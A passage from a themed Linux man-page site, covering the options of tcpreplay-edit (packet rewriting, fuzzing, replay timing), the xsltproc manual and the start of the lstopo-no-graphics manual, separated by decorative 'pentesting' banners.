By default, tcpreplay will send packets with the original packet length, However, you may want the packet length revised to minimum packet size. Using this option, tcpreplay will rewrite (fix) the packet length, and recalculate checksums when packet length changes. Caution: undesired packet changes may occur when this option is specified.

Override default MTU length (1500 bytes). This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  1 through MAX_SNAPLEN

Override the default 1500 byte MTU size for determining the maximum padding length (–fixlen=pad) or when truncating (–mtu-trunc).

Truncate packets larger then specified MTU. This option may appear up to 1 times.

Similar to –fixlen, this option will truncate data in packets from Layer 3 and above to be no larger then the MTU.

Remove Ethernet checksums (FCS) from end of frames.

Note, this option is pretty dangerous! We do not actually check to see if a FCS actually exists in the frame, we just blindly delete the last 4 bytes. Hence, you should only use this if you know know that your OS provides the FCS when reading raw packets.

Modify the IPv4/v6 TTL/Hop Limit.

Allows you to modify the TTL/Hop Limit of all the IPv4/v6 packets. Specify a number to hard-code the value or +/-value to increase or decrease by the value provided (limited to 1-255).

Examples:

    --ttl=10
    --ttl=+7
    --ttl=-64

Set the IPv4 TOS/DiffServ/ECN byte. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 255

Allows you to override the TOS (also known as DiffServ/ECN) value in IPv4.

Set the IPv6 Traffic Class byte. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 255

Allows you to override the IPv6 Traffic Class field.

Set the IPv6 Flow Label. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 1048575

Allows you to override the 20bit IPv6 Flow Label field. Has no effect on IPv4 packets.

Pad or truncate packet data to match header length. This option may appear up to 1 times.

Packets may be truncated during capture if the snaplen is smaller then the packet. This option allows you to modify the packet to pad the packet back out to the size stored in the IPv4/v6 header or rewrite the IP header total length to reflect the stored packet length.

pad Truncated packets will be padded out so that the packet length matches the IPv4 total length

trunc Truncated packets will have their IPv4 total length field rewritten to match the actual packet length

del Delete the packet

Fuzz 1 in X packets. Edit bytes, length, or emulate packet drop. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

0

This fuzzing was designed as to test layer 7 protocols such as voip protocols. It modifies randomly 1 out of X packets (where X = –fuzz-factor) in order for stateful protocols to cover more of their code. The random fuzzing actions focus on data start and end because it often is the part of the data application protocols base their decisions on.

Possible fuzzing actions list: * drop packet * reduce packet size * edit packet Bytes: * Not all Bytes have the same probability of appearance in real life. Replace with 0x00, 0xFF, or a random byte with equal likelihood. * Not all Bytes have the same significance in a packet. Replace the start, the end, or the middle of the packet with equal likelihood. * do nothing (7 out of 8 packets)

Set the Fuzz 1 in X packet ratio (default 1 in 8 packets). This option must appear in combination with the following options: fuzz-seed. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

8

Sets the ratio of for –fuzz-seed option. By default this value is 8, which means 1 in 8 packets are modified by fuzzing. Note that this ratio is based on the random number generated by the supplied fuzz seed. Therefore by default you cannot expect that exactly every eighth packet will be modified.

Skip rewriting broadcast/multicast Layer 2 addresses.

By default, editing Layer 2 addresses will rewrite broadcast and multicast MAC addresses. Setting this flag will keep broadcast/multicast MAC addresses from being rewritten.

Override output DLT encapsulation. This option may appear up to 1 times.

By default, no DLT (data link type) conversion will be made. To change the DLT type of the output pcap, select one of the following values:

enet Ethernet aka DLT_EN10MB

hdlc Cisco HDLC aka DLT_C_HDLC

jnpr_eth Juniper Ethernet DLT_C_JNPR_ETHER

pppserial PPP Serial aka DLT_PPP_SERIAL

user User specified Layer 2 header and DLT type

Override destination ethernet MAC addresses. This option may appear up to 1 times.

Takes a pair of comma deliminated ethernet MAC addresses which will replace the destination MAC address of outbound packets. The first MAC address will be used for the server to client traffic and the optional second MAC address will be used for the client to server traffic.

Example:

    --enet-dmac=00:12:13:14:15:16,00:22:33:44:55:66

Override source ethernet MAC addresses. This option may appear up to 1 times.

Takes a pair of comma deliminated ethernet MAC addresses which will replace the source MAC address of outbound packets. The first MAC address will be used for the server to client traffic and the optional second MAC address will be used for the client to server traffic.

Example:

    --enet-smac=00:12:13:14:15:16,00:22:33:44:55:66

Substitute MAC addresses. This option may appear up to 9999 times.

Allows you to rewrite ethernet MAC addresses of packets. It takes comma delimited pair or MACs address and rewrites all occurrences of the first MAC with the value of the second MAC. Example:

    --enet-subsmac=00:12:13:14:15:16,00:22:33:44:55:66

Randomize MAC addresses. This option may appear up to 1 times. This option must not appear in combination with any of the following options: enet-smac, enet-dmac, enet-subsmac. This option takes an integer number as its argument.

Allows you to randomize ethernet MAC addresses of packets, mostly like what –seed option does for IPv4/IPv6 addresses.

Randomize MAC addresses. This option may appear up to 1 times. This option must appear in combination with the following options: enet-mac-seed. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  1 through 6

Keep some bytes untouched when usinging –enet-mac-seed option.

Specify ethernet 802.1q VLAN tag mode. This option may appear up to 1 times.

Allows you to rewrite ethernet frames to add a 802.1q header to standard 802.3 ethernet headers or remove the 802.1q VLAN tag information.

add Adds an 802.1q VLAN header to the existing 802.3 ethernet header. If a VLAN header already exists, a new VLAN header is added outside of the existing header.

Note that you will be allowed to run this option multiple times to create more than 2 VLAN headers, however those packets will be valid. At most you should have 2 X 802.1q VLAN tags, or outer an 802.1ad and an inner 802.1q VLAN tag.

del Rewrites the existing 802.1q VLAN header as an 802.3 ethernet header

Specify the new ethernet 802.1q VLAN tag value. This option may appear up to 1 times. This option must appear in combination with the following options: enet-vlan. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 4095

Specify the ethernet 802.1q VLAN CFI value. This option may appear up to 1 times. This option must appear in combination with the following options: enet-vlan. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 1

Specify the ethernet 802.1q VLAN priority. This option may appear up to 1 times. This option must appear in combination with the following options: enet-vlan. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 7

Specify VLAN tag protocol 802.1q or 802.1ad. This option may appear up to 1 times.

Allows you to specify the protocol of the added VLAN tags.

802.1q Specifies that 802.1q VLAN headers are to be added. This is the default.

802.1ad Specifies that 802.1ad Q-in-Q VLAN headers are to be added. To make valid packets, input packets must already have 802.1q VLAN headers.

Specify HDLC control value. This option may appear up to 1 times. This option takes an integer number as its argument.

The Cisco HDLC header has a 1 byte “control” field. Apparently this should always be 0, but if you can use any 1 byte value.

Specify HDLC address. This option may appear up to 1 times. This option takes an integer number as its argument.

The Cisco HDLC header has a 1 byte “address” field which has two valid values:

0x0F Unicast

0xBF Broadcast
You can however specify any single byte value.

Set output file DLT type. This option may appear up to 1 times. This option takes an integer number as its argument.

Set the DLT value of the output pcap file.

Rewrite Data-Link layer with user specified data. This option may appear up to 2 times.

Provide a series of comma deliminated hex values which will be used to rewrite or create the Layer 2 header of the packets. The first instance of this argument will rewrite both server and client traffic, but if this argument is specified a second time, it will be used for the client traffic.

Example:

    --user-dlink=01,02,03,04,05,06,00,1A,2B,3C,4D,5E,6F,08,00

Enable debugging output. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 5

The default number for this option is:

0

If configured with –enable-debug, then you can specify a verbosity level for debugging output. Higher numbers increase verbosity.

Quiet mode.

Print nothing except the statistics at the end of the run

Select packet timing mode: select, ioport, gtod, nano. This option may appear up to 1 times. The default string for this option is:

gtod

Allows you to select the packet timing method to use:

nano - Use nanosleep() API

select - Use select() API

ioport - Write to the i386 IO Port 0x80

gtod [default] - Use a gettimeofday() loop

Sleep for no more then X milliseconds between packets. This option takes an integer number as its argument. The default number for this option is:

0

Set a limit for the maximum number of milliseconds that tcpreplay will sleep between packets. Effectively prevents long delays between packets without effecting the majority of packets. Default is disabled.

Print decoded packets via tcpdump to STDOUT. This option may appear up to 1 times.

Arguments passed to tcpdump decoder. This option may appear up to 1 times. This option must appear in combination with the following options: verbose.

When enabling verbose mode (-v) you may also specify one or more additional arguments to pass to tcpdump to modify the way packets are decoded. By default, -n and -l are used. Be sure to quote the arguments like: -A “-axxx” so that they are not interpreted by tcpreplay. Please see the tcpdump(1) man page for a complete list of options.

Preloads packets into RAM before sending.

This option loads the specified pcap(s) into RAM before starting to send in order to improve replay performance while introducing a startup performance hit. Preloading can be used with or without –loop. This option also suppresses flow statistics collection for every iteration, which can significantly reduce memory usage. Flow statistics are predicted based on options supplied and statistics collected from the first loop iteration.

Split traffic via a tcpprep cache file. This option may appear up to 1 times. This option must appear in combination with the following options: intf2. This option must not appear in combination with any of the following options: dualfile.

If you have a pcap file you would like to use to send bi-directional traffic through a device (firewall, router, IDS, etc) then using tcpprep you can create a cachefile which tcpreplay will use to split the traffic across two network interfaces.

Replay two files at a time from a network tap. This option may appear up to 1 times. This option must appear in combination with the following options: intf2. This option must not appear in combination with any of the following options: cachefile.

If you captured network traffic using a network tap, then you can end up with two pcap files- one for each direction. This option will replay these two files at the same time, one on each interface and inter-mix them using the timestamps in each.

Client to server/RX/primary traffic output interface. This option may appear up to 1 times. This option is a member of the intf1 class of options.

Required network interface used to send either all traffic or traffic which is marked as ‘primary’ via tcpprep. Primary traffic is usually client-to-server or inbound (RX) on khial virtual interfaces.

Server to client/TX/secondary traffic output interface. This option may appear up to 1 times.

Optional network interface used to send traffic which is marked as ‘secondary’ via tcpprep. Secondary traffic is usually server-to-client or outbound (TX) on khial virtual interfaces. Generally, it only makes sense to use this option with –cachefile.

Pcap file to receive traffic outputs. This option may appear up to 1 times. This option is a member of the intf1 class of options. This option must not appear in combination with any of the following options: intf2.

Optional pcap file name used to receive traffic.

Send only selected packet numbers. This option may appear up to 1 times. This option must not appear in combination with any of the following options: exclude.

Override default of processing all packets stored in the capture file and only send packets that are part of a supplied list of packet numbers.

    -x P:1-5,9,15,72-

would skip packets 1 through 5, the 9th and 15th packet, and packets 72 until the end of the file

Send all but selected packet numbers. This option may appear up to 1 times. This option must not appear in combination with any of the following options: include.

Override default of processing all packets stored in the capture file and only send packets that are NOT part of a supplied list of packet numbers.

    -x P:1-5,9,15,72-

would skip packets 1 through 5, the 9th and 15th packet, and packets 72 until the end of the file

List available network interfaces and exit.

Loop through the capture file X times. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

1

Delay between loops in milliseconds. This option must appear in combination with the following options: loop. This option must not appear in combination with any of the following options: loopdelay-ns. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

0

Delay between loops in nanoseconds. This option must appear in combination with the following options: loop. This option must not appear in combination with any of the following options: loopdelay-ms. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

0

By default, tcpreplay will use loop delay with microsecond accuracy (loopdelay-ms). In order to use loop delay with nanosecond accuracy you need to use nano packet timing mode.

Override the snaplen and use the actual packet len. This option may appear up to 1 times.

By default, tcpreplay will send packets based on the size of the “snaplen” stored in the pcap file which is usually the correct thing to do. However, occasionally, tools will store more bytes then told to. By specifying this option, tcpreplay will ignore the snaplen field and instead try to send packets based on the original packet length. Bad things may happen if you specify this option.

Limit the number of packets to send. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

-1

By default, tcpreplay will send all the packets. Alternatively, you can specify a maximum number of packets to send.

Limit the number of seconds to send. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

-1

By default, tcpreplay will send all the packets. Alternatively, you can specify a maximum number of seconds to transmit.

Modify replay speed to a given multiple. This option may appear up to 1 times. This option must not appear in combination with any of the following options: pps, mbps, oneatatime, topspeed.

Specify a value to modify the packet replay speed. Examples:

        2.0 will replay traffic at twice the speed captured
        0.7 will replay traffic at 70% the speed captured

Replay packets at a given packets/sec. This option may appear up to 1 times. This option must not appear in combination with any of the following options: multiplier, mbps, oneatatime, topspeed.

Specify a value to regulate the packet replay to a specific packet-per-second rate. Examples:

        200 will replay traffic at 200 packets per second
        0.25 will replay traffic at 15 packets per minute

Replay packets at a given Mbps. This option may appear up to 1 times. This option must not appear in combination with any of the following options: multiplier, pps, oneatatime, topspeed.

Specify a floating point value for the Mbps rate that tcpreplay should send packets at.

Replay packets as fast as possible. This option must not appear in combination with any of the following options: mbps, multiplier, pps, oneatatime.

Replay one packet at a time for each user input. This option must not appear in combination with any of the following options: mbps, pps, multiplier, topspeed.

Allows you to step through one or more packets at a time.

Number of packets to send for each time interval. This option must appear in combination with the following options: pps. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

1

When trying to send packets at very high rates, the time between each packet can be so short that it is impossible to accurately sleep for the required period of time. This option allows you to send multiple packets at a time, thus allowing for longer sleep times which can be more accurately implemented.

Modify IP addresses each loop iteration to generate unique flows. This option must appear in combination with the following options: loop. This option must not appear in combination with any of the following options: seed, fuzz-seed.

Ensure IPv4 and IPv6 packets will be unique for each –loop iteration. This is done in a way that will not alter packet CRC, and therefore will generally not affect performance. This option will significantly increase the flows/sec over generated over multiple loop iterations.

Number of times to loop before assigning new unique ip. This option may appear up to 1 times. This option must appear in combination with the following options: unique-ip.

Number of –loop iterations before a new unique IP is assigned. Default is 1. Assumes both –loop and –unique-ip.

Write packets directly to netmap enabled network adapter.

This feature will detect netmap capable network drivers on Linux and BSD systems. If detected, the network driver is bypassed for the execution duration, and network buffers will be written to directly. This will allow you to achieve full line rates on commodity network adapters, similar to rates achieved by commercial network traffic generators. Note that bypassing the network driver will disrupt other applications connected through the test interface. See INSTALL for more information.

This feature can also be enabled by specifying an interface as ’netmap:<intf>’ or ‘vale:<intf>. For example ’netmap:eth0’ specifies netmap over interface eth0.

Netmap startup delay. This option takes an integer number as its argument. The default number for this option is:

10

Number of seconds to delay after netmap is loaded. Required to ensure interfaces are fully up before netmap transmit. Requires netmap option. Default is 10 seconds.

Suppress printing and tracking flow count, rates and expirations.

Suppress the collection and printing of flow statistics. This option may improve performance when not using –preload-pcap option, otherwise its only function is to suppress printing.

The flow feature will track and print statistics of the flows being sent. A flow is loosely defined as a unique combination of a 5-tuple, i.e. source IP, destination IP, source port, destination port and protocol.

If –loop is specified, the flows from one iteration to the next will not be unique, unless the packets are altered. Use –unique-ip or tcpreplay-edit to alter packets between iterations.

Number of inactive seconds before a flow is considered expired. This option must not appear in combination with any of the following options: no-flow-stats. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

0

This option will track and report flow expirations based on the flow idle times. The timestamps within the pcap file are used to determine the expiry, not the actual timestamp of the packets are replayed. For example, a value of 30 suggests that if no traffic is seen on a flow for 30 seconds, any subsequent traffic would be considered a new flow, and thereby will increment the flows and flows per second (fps) statistics.

This option can be used to optimize flow timeout settings for flow products. Setting the timeout low may lead to flows being dropped when in fact the flow is simply slow to respond. Configuring your flow timeouts too high may increase resources required by your flow product.

Note that using this option while replaying at higher than original speeds can lead to inflated flows and fps counts.

Default is 0 (no expiry) and a typical value is 30-120 seconds.

Print the PID of tcpreplay at startup.

Print statistics every X seconds, or every loop if ‘0’. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

Note that timed delays are a “best effort” and long delays between sending packets may cause equally long delays between printing statistics.

suppress printing warning messages.

Write packets directly to AF_XDP enabled network adapter.

This feature will detect AF_XDP capable network drivers on Linux systems that have ’libxdp-dev’ and ’libbpf-dev’ installed. If detected, the network stack is bypassed and packets are sent directly to an eBPF enabled driver directly. This will allow you to achieve full line rates on commodity network adapters, similar to rates achieved by commercial network traffic generators.

The maximum number of packets that can be submitted to the AF_XDP TX ring at once. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  1 through 4096

The default number for this option is:

25

Higher values may improve performance at the cost of accuracy

Print version information.

Display less usage information and exit.

Display usage information and exit.

Pass the extended usage information through a pager.

Save the option state to cfgfile. The default is the last configuration file listed in the OPTION PRESETS section, below. The command will exit after updating the config file.

Load options from cfgfile. The no-load-opts form will disable the loading of earlier config/rc/ini files. –no-load-opts is handled early, out of order.

OPTION PRESETS

Any option that is not marked as not presettable may be preset by loading values from configuration (“RC” or “.INI”) file(s). The homerc file is “$$/”, unless that is a directory. In that case, the file “.tcpreplay-editrc” is searched for within that directory.

FILES

See OPTION PRESETS for configuration files.

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

A specified configuration file could not be loaded.

libopts had an internal operational error. Please report it to [email protected]. Thank you.

AUTHORS

Copyright 2013-2024 Fred Klassen - AppNeta Copyright 2000-2012 Aaron Turner For support please use the [email protected] mailing list. The latest version of this software is always available from: http://tcpreplay.appneta.com/

COPYRIGHT

Copyright (C) 2000-2024 Aaron Turner and Fred Klassen all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later.

BUGS

Please send bug reports to: [email protected]

NOTES

This manual page was AutoGen-erated from the tcpreplay-edit option definitions.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

877 - Linux cli command xsltproc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xsltproc and provides detailed information about the command xsltproc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xsltproc.

NAME 🖥️ xsltproc 🖥️

command line XSLT processor

SYNOPSIS

xsltproc [[-V | –version] [-v | –verbose] [{-o | –output} {FILE | DIRECTORY}] | –timing | –repeat | –debug | –novalid | –noout | –maxdepth VALUE | –maxvars VALUE | –maxparserdepth VALUE | –huge | –seed-rand VALUE | –html | –encoding ENCODING | –param PARAMNAME PARAMVALUE | –stringparam PARAMNAME PARAMVALUE | –nonet | –path “PATH(S) | –load-trace | –catalogs | –xinclude | –xincludestyle | [–profile | –norman] | –dumpextensions | –nowrite | –nomkdir | –writesubtree PATH | –nodtdattr] [STYLESHEET] {XML-FILE… | -}

DESCRIPTION

xsltproc is a command line tool for applying XSLT stylesheets to XML documents. It is part of libxslt(3), the XSLT C library for GNOME. While it was developed as part of the GNOME project, it can operate independently of the GNOME desktop.

xsltproc is invoked from the command line with the name of the stylesheet to be used followed by the name of the file or files to which the stylesheet is to be applied. It will use the standard input if a filename provided is - .

If a stylesheet is included in an XML document with a Stylesheet Processing Instruction, no stylesheet need to be named at the command line. xsltproc will automatically detect the included stylesheet and use it.

By default, output is to stdout. You can specify a file for output using the -o or –output option.

OPTIONS

xsltproc accepts the following options (in alphabetical order):

–catalogs

Use the SGML catalog specified in SGML_CATALOG_FILES to resolve the location of external entities. By default, xsltproc looks for the catalog specified in XML_CATALOG_FILES. If that is not specified, it uses /etc/xml/catalog.

–debug

Output an XML tree of the transformed document for debugging purposes.

–dumpextensions

Dumps the list of all registered extensions on stdout.

–html

The input document is an HTML file.

–load-trace

Display all the documents loaded during the processing to stderr.

–maxdepth VALUE

Adjust the maximum depth of the template stack before libxslt(3) concludes it is in an infinite loop. The default is 3000.

–maxvars VALUE

Maximum number of variables. The default is 15000.

–maxparserdepth VALUE

Maximum element nesting level of parsed XML documents. The default is 256.

–huge

Relax hardcoded limits of the XML parser by setting the XML_PARSE_HUGE parser option.

–seed-rand VALUE

Initialize pseudo random number generator with specific seed.

–nodtdattr

Do not apply default attributes from the documents DTD.

–nomkdir

Refuses to create directories.

–nonet

Do not use the Internet to fetch DTDs, entities or documents.

–noout

Do not output the result.

–novalid

Skip loading the documents DTD.

–nowrite

Refuses to write to any file or resource.

-o or –output FILE | DIRECTORY

Direct output to the given FILE. Using the option with a DIRECTORY directs the output files to the specified directory. This can be useful for multiple outputs (also known as “chunking”) or manpage processing.

Important

The given directory must already exist.

Note

Make sure that FILE and DIRECTORY follow the “URI reference computation” as described in RFC 2396 and laters. This means, that e.g. -o directory will maybe not work, but -o directory/ will.

–encoding ENCODING

Allow to specify the encoding for the input.

–param PARAMNAME PARAMVALUE

Pass a parameter of name PARAMNAME and value PARAMVALUE to the stylesheet. You may pass multiple name/value pairs up to a maximum of 32. If the value being passed is a string, you can use –stringparam instead, to avoid additional quote characters that appear in string expressions. Note: the XPath expression must be UTF-8 encoded.

–path “PATH(S)

Use the (space- or colon-separated) list of filesystem paths specified by PATHS to load DTDs, entities or documents. Enclose space-separated lists by quotation marks.

–profile or –norman

Output profiling information detailing the amount of time spent in each part of the stylesheet. This is useful in optimizing stylesheet performance.

–repeat

Run the transformation 20 times. Used for timing tests.

–stringparam PARAMNAME PARAMVALUE

Pass a parameter of name PARAMNAME and value PARAMVALUE where PARAMVALUE is a string rather than a node identifier. Note: The string must be UTF-8 encoded.

–timing

Display the time used for parsing the stylesheet, parsing the document and applying the stylesheet and saving the result. Displayed in milliseconds.

-v or –verbose

Output each step taken by xsltproc in processing the stylesheet and the document.

-V or –version

Show the version of libxml(3) and libxslt(3) used.

–writesubtree PATH

Allow file write only within the PATH subtree.

–xinclude

Process the input document using the XInclude specification. More details on this can be found in the XInclude specification: http://www.w3.org/TR/xinclude/

–xincludestyle

Process the stylesheet with XInclude.

ENVIRONMENT

SGML_CATALOG_FILES

SGML catalog behavior can be changed by redirecting queries to the users own set of catalogs. This can be done by setting the SGML_CATALOG_FILES environment variable to a list of catalogs. An empty one should deactivate loading the default /etc/sgml/catalog catalog.

XML_CATALOG_FILES

XML catalog behavior can be changed by redirecting queries to the users own set of catalogs. This can be done by setting the XML_CATALOG_FILES environment variable to a list of catalogs. An empty one should deactivate loading the default /etc/xml/catalog catalog.

DIAGNOSTICS

xsltproc return codes provide information that can be used when calling it from scripts.

0

No error (normal operation)

1

No argument

2

Too many parameters

3

Unknown option

4

Failed to parse the stylesheet

5

Error in the stylesheet

6

Error in one of the documents

7

Unsupported xsl:output method

8

String parameter contains both quote and double-quotes

9

Internal processing error

10

Processing was stopped by a terminating message

11

Could not write the result to the output file

SEE ALSO

libxml(3), libxslt(3)

More information can be found at

·

libxml(3) web page https://gitlab.gnome.org/GNOME/libxslt

·

W3C XSLT page http://www.w3.org/TR/xslt

AUTHOR

John Fleck <[email protected]>

Author.

COPYRIGHT

Copyright © 2001, 2002

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

878 - Linux cli command lstopo-no-graphics

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lstopo-no-graphics and provides detailed information about the command lstopo-no-graphics, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lstopo-no-graphics.

NAME 🖥️ lstopo-no-graphics 🖥️

no-graphics, hwloc-ls - Show the topology of the system

SYNOPSIS

lstopo [ options ]… [ filename ]

lstopo-no-graphics [ options ]… [ filename ]

hwloc-ls [ options ]… [ filename ]

Note that hwloc(7) provides a detailed explanation of the hwloc system; it should be read before reading this man page

OPTIONS

–of <format>, –output-format <format>
Enforce the output in the given format. See the OUTPUT FORMATS section below.

-i <path>, –input <path>
Read the topology from <path> instead of discovering the topology of the local machine.

If <path> is a file, it may be a XML file exported by a previous hwloc program. If <path> is “-”, the standard input may be used as a XML file.

On Linux, <path> may be a directory containing the topology files gathered from another machine topology with hwloc-gather-topology.

On x86, <path> may be a directory containing a cpuid dump gathered with hwloc-gather-cpuid.

When the archivemount program is available, <path> may also be a tarball containing such Linux or x86 topology files.

-i <specification>, –input <specification>
Simulate a fake hierarchy (instead of discovering the topology on the local machine). If <specification> is “node:2 pu:3”, the topology will contain two NUMA nodes with 3 processing units in each of them. The <specification> string must end with a number of PUs.

–if <format>, –input-format <format>
Enforce the input in the given format, among xml, fsroot, cpuid and synthetic.

–export-xml-flags <flags>
Enforce flags when exporting to the XML format. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_export_xml(). Those names may be substrings of actual flag names as long as a single one matches. A value of 1 (or v1) reverts to the format of hwloc v1.x. The default is 0 (or none).

–export-synthetic-flags <flags>
Enforce flags when exporting to the synthetic format. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_export_synthetic(). Those names may be substrings of actual flag names as long as a single one matches. A value of 2 (or no_attr) reverts to the format of hwloc v1.9. A value of 3 (or no_ext,no_attr) reverts to the original minimalistic format (before v1.9). The default is 0 (or none).

-v –verbose
Include additional detail. The hwloc-info tool may be used to display even more information about specific objects.

-q –quiet -s –silent
Reduce the amount of details to show.

–distances
Only display distance matrices.

–distances-transform <links|merge-switch-ports|transitive-closure>
Try applying a transformation to distances structures before displaying them. See hwloc_distances_transform() for details. More transformations may be applied using hwloc-annotate(1) (and it may save their output to XML).

–memattrs
Only display memory attributes. All of them are displayed (while the default textual output selects memory attribute details depending on the verbosity level).

–cpukinds
Only display CPU kinds. CPU kinds are displayed in order, starting from the most energy efficient ones up to the rather higher performance and power hungry ones.

–windows-processor-groups
On Windows, only show information about processor groups. All of them are displayed, while the default verbose output only shows them if there are more than one.

-f –force
If the destination file already exists, overwrite it.

-l –logical
Display hwloc logical indexes of all objects, with prefix “L#”. By default, both logical and physical/OS indexes are displayed for PUs and NUMA nodes, logical only for cores, dies and packages, and no index for other types.

-p –physical
Display OS/physical indexes of all objects, with prefix “P#”. By default, both logical and physical/OS indexes are displayed for PUs and NUMA nodes, logical only for cores, dies and packages, and no index for other types.

–logical-index-prefix <prefix>
Replace " L#" with the given prefix for logical indexes.

–os-index-prefix <prefix>
Replace " P#" with the given prefix for physical/OS indexes.

-c –cpuset
Display the cpuset of each object.

-C –cpuset-only
Only display the cpuset of each object; do not display anything else about the object.

–cpuset-output-format <hwloc|list|taskset> –cof <hwloc|list|taskset>
Change the format of displayed CPU set strings. By default, the hwloc-specific format is used. If list is given, the output is a comma-separated of numbers or ranges, e.g. 2,4-5,8 . If taskset is given, output cpusets are compatible with the taskset program (replaces the former –taskset option).

This option should be combined with –cpuset or –cpuset-only, otherwise it will imply –cpuset.

–only <type>
Only show objects of the given type in the textual output.

<type> may contain a filter to select specific objects among the type. For instance –only NUMA[HBM] only shows NUMA nodes marked with subtype “HBM”, while –only “numa[mcdram]” only shows MCDRAM NUMA nodes on KNL.

–filter <type>:<kind>, –filter <type>
Filter objects of type <type>, or of any type if <type> is “all”. “io”, “cache” and “icache” are also supported.

<kind> specifies the filtering behavior. If “none” or not specified, all objects of the given type are removed. If “all”, all objects are kept as usual. If “structure”, objects are kept when they bring structure to the topology. If “important” (only applicable to I/O), only important objects are kept. See hwloc_topology_set_type_filter() for more details.

hwloc supports filtering any type except PUs and NUMA nodes. lstopo also offers PU and NUMA node filtering by hiding them in the graphical and textual outputs, but any object included in them (for instance Misc) will be hidden as well. Note that PUs and NUMA nodes may not be ignored in the XML output. Note also that the top-level object type cannot be ignored (usually Machine or System).

–ignore <type>
This is the old way to specify –filter <type>:none.

–no-smt
Ignore PUs. This is identical to –filter PU:none.

–no-caches
Do not show caches. This is identical to –filter cache:none.

–no-useless-caches
This is identical to –filter cache:structure.

–no-icaches
This is identical to –filter icache:none.

–disallowed
Include objects disallowed by administrative limitations (e.g Cgroups on Linux). Offline PUs and NUMA nodes are still ignored.

–allow <all|local|0xff|nodeset=0xf0>
Include objects disallowed by administrative limitations (implies –disallowed) and also change the set of allowed ones.

If local is given, only objects available to the current process are allowed (default behavior when loading from the native operating system backend). It may be useful if the topology was created by another process (with different administrative restrictions such as Linux Cgroups) and loaded here loaded from XML or synthetic. This case implies –thissystem.

If all, all objects are allowed.

If a bitmap is given as a hexadecimal string, it is used as the set of allowed PUs.

If a bitmap is given after prefix nodeset=, it is the set of allowed NUMA nodes.

–flags <flags>
Enforce topology flags. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_set_flags(). Those names may be substrings of actual flag names as long as a single one matches, for instance disallowed,thissystem_allowed. The default is 8 (or import).

–merge
Do not show levels that do not have a hierarchical impact. This sets HWLOC_TYPE_FILTER_KEEP_STRUCTURE for all object types. This is identical to –filter all:structure.

–no-factorize –no-factorize=<type>
